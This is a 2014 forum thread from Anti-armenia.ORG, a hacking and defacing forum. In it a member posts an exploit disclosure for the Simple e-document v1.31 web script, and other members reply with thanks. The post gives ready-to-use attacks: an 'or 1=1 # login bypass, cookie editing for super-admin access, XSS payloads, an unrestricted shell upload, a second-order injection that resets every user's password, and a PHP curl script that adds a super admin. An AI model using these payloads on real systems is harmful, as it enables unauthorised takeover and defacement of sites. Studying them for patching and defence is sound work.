Anti-armenia.ORG - Forumlar - Simple e-document v1.31 =>Second order injections, CSRF,Sql inj,



Istifadəçi
    2014-01-25 02:47 GMT                 

PuN!Sh3r



Gold
Mesaj Sayı : 308
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   35  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : W00t W00t
Ölkə :
Məslək : Cyber Security Specialist
Yaş :
Mesaj :

Mövzunu Paylaş!



Təzə yazdığım disclosure.

http://packetstormsecurity.com/files/124956/Simple-e-Document-1.31-SQL-Injection-XSS-CSRF-File-Upload.html

Buyurun..


Kod:
#################################################################################
[+]Exploit: Simple e-document v1.31 => Sql inj,Login Bypass,XSS,Insecure        #
Cookie Handling(privilege escalation),Arbitrary File Upload, #
Second order injections, CSRF ,Insecure logout process #
[+] Author: PuN!Sh3r                                    #
[+] Contact: http://anti-armenia.org                                #
[+] version: Simple e-document v1.31                                #
[+] Vendor Homepage: http://sourceforge.net/projects/simplee-doc/files/  #
#################################################################################

Hi everyone.I want to talk about some vulnerabilities which i have found in Simple e-document script's sources.It has a lot issues.

Let's go...
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
1.Sql Injection(multiple=>there is exist another bugs.you can find them same tecniques).

admin.php
---------
Snip:

$sql = "Insert into edocphp_users values('', '$username', '$r_password', '$NOW_TIME', '$is_admin', '$is_s_admin')";

And $username, $r_password had not been sanitized.

-------
main_out.php( Vulnerable from  head to bottom of page :D )
main_in.php (It is also :D )
-------



++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

2. Bypass login:

index.php
---------

write username : 'or 1=1 #
  password :  blank
 
  And you will login successfull..
 
Vulnerable snip:
...
$username= stripslashes($_POST['username']);
$password= stripslashes($_POST['password']);
..
$sql = "SELECT * From edocphp_users WHERE username='$username' AND password ='$r_password'";
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
3.Insecure cookie handling(Privilege escalation):

There is an issue with creating cookies after you login to system.
if you are simple user your cookie will be that username=Your username; access=1;
You can change cookie part: change access 1 to 3 for capturing super administrative access.

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
4.XSS

index.php
---------
$_COOKIE['username'] is not sanitized and you can change it to ,for example,<script>alert(document.cookie)</script>
and boom :D XSS appears..
This vuln is also exist in header_out.php and  admin.php :

admin.php
----------
Go to the View/Edit/Remove Users and after clicking update intrecept request and type that:

new_password=11111&is_admin=3&username_s=<script>alert()</script>&id=3&op=Update_User
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
5.Arbitrary File Upload
There is not any restriction in upload.php and you can upload your own shell and enjoy :)

http://site.tld/script_path/upload.php?op=newin

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
6.Second order injections
You can change  all users' passwords in the database with this vuln(Also delete):
-----
admin.php
-----

Go to the  View/Edit/Remove Users.
Change any of these pass to your own
After clicking update intrecept request with BurpSuite (or OwaspZap etc.)
and change this
new_password=&is_admin=3&username_s=admin&id='or 1=1#&op=Update_User
After this process all users' pass will be changed..
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
7.CSRF

This script doesn't have any session,for this reason you can add new super admin.I have written a simple payload for it:
Payload:

<?php
$url="http://localhost/simple_e_document/admin.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, "username=admin&password=123456&is_admin=2&op=save_new_user");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIE, "username=FuckTheSystem;access=3");
$a = curl_exec ($ch);
echo $a;
curl_close ($ch);
?>

Change current values with your own.

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
8.Insecure logout process.
You can force this proces to change its behaviour.For example,if you press logout process,this post action happens :

op=logout&username= ANY USERNAME &Submit=Logout
you can change username value and make script to logout site for this user.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++



Respect to my all brothezz..
Anti-armenia team/  http://anti-armenia.org
./PuN!Sh3r

Vətən Sağ olsun!
Duman salamat qal, Dağ salamat qal..
Anti-armenia.ORG
    

Istifadəçi
    2014-01-25 13:25 GMT                 

H!T4CH



VIP
Mesaj Sayı : 348
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   12  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : BAKU
Ölkə :
Məslək :
Yaş : 131
Mesaj :

Mövzunu Paylaş!


Əllərinə SağLıq Bro! Təşəkkür

CODE
Anti-armenia.ORG
    

Istifadəçi
    2014-01-25 16:00 GMT                 

PuN!Sh3r



Gold
Mesaj Sayı : 308
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   35  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : W00t W00t
Ölkə :
Məslək : Cyber Security Specialist
Yaş :
Mesaj :

Mövzunu Paylaş!


Buyurun.

Vətən Sağ olsun!
Duman salamat qal, Dağ salamat qal..
Anti-armenia.ORG
    

Istifadəçi
    2014-01-25 16:04 GMT                 

TheLock



Gold
Mesaj Sayı : 412
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   18  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Təbriklər bro.

http://s017.radikal.ru/i404/1202/c6/a2947080a3c4.png
Anti-armenia.ORG
    

Istifadəçi
    2014-01-25 16:23 GMT                 

GR33NM4X



İstifadəçi
Mesaj Sayı : 163
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   4  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Thanks Bro

http://s017.radikal.ru/i404/1202/c6/a2947080a3c4.png
Anti-armenia.ORG
    

Istifadəçi
    2014-01-25 16:38 GMT                 

PuN!Sh3r



Gold
Mesaj Sayı : 308
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   35  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : W00t W00t
Ölkə :
Məslək : Cyber Security Specialist
Yaş :
Mesaj :

Mövzunu Paylaş!


TheLock çox sağol
GR33NM4X dəyməz bro buyurun

Vətən Sağ olsun!
Duman salamat qal, Dağ salamat qal..
Anti-armenia.ORG
    

Istifadəçi
    2014-01-25 19:10 GMT                 

Ferid23



Admin
Mesaj Sayı : 1875
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   45  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Anti-armenia.ORG
Ölkə :
Məslək : Programmer & Defacer
Yaş : 12
Mesaj :

Mövzunu Paylaş!


Təbriklər Əllərinə sağlıq

AZ Domaini İhbar Hattı (Azərbaycan saytlarında olan boşluqları bizə bildirin): http://anti-armenia.org/forums.php?m=posts&q=572
Qaydalar (Saytın qayda-qanunlarını oxuyaraq əməl edin)
Anti-armenia.ORG
    

Istifadəçi
    2014-01-25 19:51 GMT                 

PuN!Sh3r



Gold
Mesaj Sayı : 308
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   35  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : W00t W00t
Ölkə :
Məslək : Cyber Security Specialist
Yaş :
Mesaj :

Mövzunu Paylaş!


çox sağol brom

Vətən Sağ olsun!
Duman salamat qal, Dağ salamat qal..
Anti-armenia.ORG
    

Istifadəçi
    2014-01-25 20:06 GMT                 

C.e.P!



Banned
Mesaj Sayı : 188
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   13  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Əllərinə sağlıq

Anti-armenia.ORG
    

Istifadəçi
    2014-01-25 20:10 GMT                 

PuN!Sh3r



Gold
Mesaj Sayı : 308
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   35  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : W00t W00t
Ölkə :
Məslək : Cyber Security Specialist
Yaş :
Mesaj :

Mövzunu Paylaş!


çox sağol bro.

Vətən Sağ olsun!
Duman salamat qal, Dağ salamat qal..
Anti-armenia.ORG